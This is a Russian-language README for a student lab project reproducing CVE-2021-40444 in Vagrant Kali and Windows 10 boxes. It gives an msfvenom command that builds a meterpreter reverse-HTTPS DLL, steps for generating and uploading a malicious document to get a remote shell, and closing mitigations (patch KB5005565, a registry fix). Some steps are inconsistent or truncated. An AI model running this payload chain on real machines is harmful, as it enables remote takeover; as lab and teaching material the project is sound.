TIC4301_Project

Проект TIC4301 - CVE-2021-40444

Загрузите следующие vagrant-боксы:
Kali - https://drive.google.com/file/d/1RegQcT2jjFoaQRgLjXDYl4iS0HNt_mU2/view?usp=sharing
Win10 - https://drive.google.com/file/d/1zcLertRoI-FrHDkRq1NO-KHaF88bMv6e/view?usp=sharing

Импортируйте боксы следующими командами через vagrant:

1. vagrant box add kali_package.box
2. vagrant box add victim_package.box
3. vagrant init kali_package.box
4. vagrant init victim_package.box
5. vagrant up

Настройка (win10):

1. В боксе win10 войдите как администратор с паролем vagrant.
2. Щёлкните правой кнопкой мыши по script.ps1 на рабочем столе и запустите через powershell. (Оставьте это окно открытым)
3. Запустите ipconfig.exe и получите адрес этого узла.

Настройка (Kali):

1. cd Desktop/CVE-2021-40444.
2. сгенерируйте вашу вредоносную DLL с помощью msfvenom. # msfvenom -p windows/x64/meterpreter/reverse_https LHOST=eth1 LPORT=443 -f dll -o test/shell.dll
3. запустите listener в metasploit.
4. сгенерируйте вредоносный документ. # python3 exploit.py generate test/calc.dll http://
5. перейдите по адресу http://<win 10 IP>/upload и загрузите файл.
6. ожидайте получения shell.

Меры защиты:

1. Установите исправление KB5005565.
2. Отредактируйте реестр Windows с помощью patch.reg из репозитория.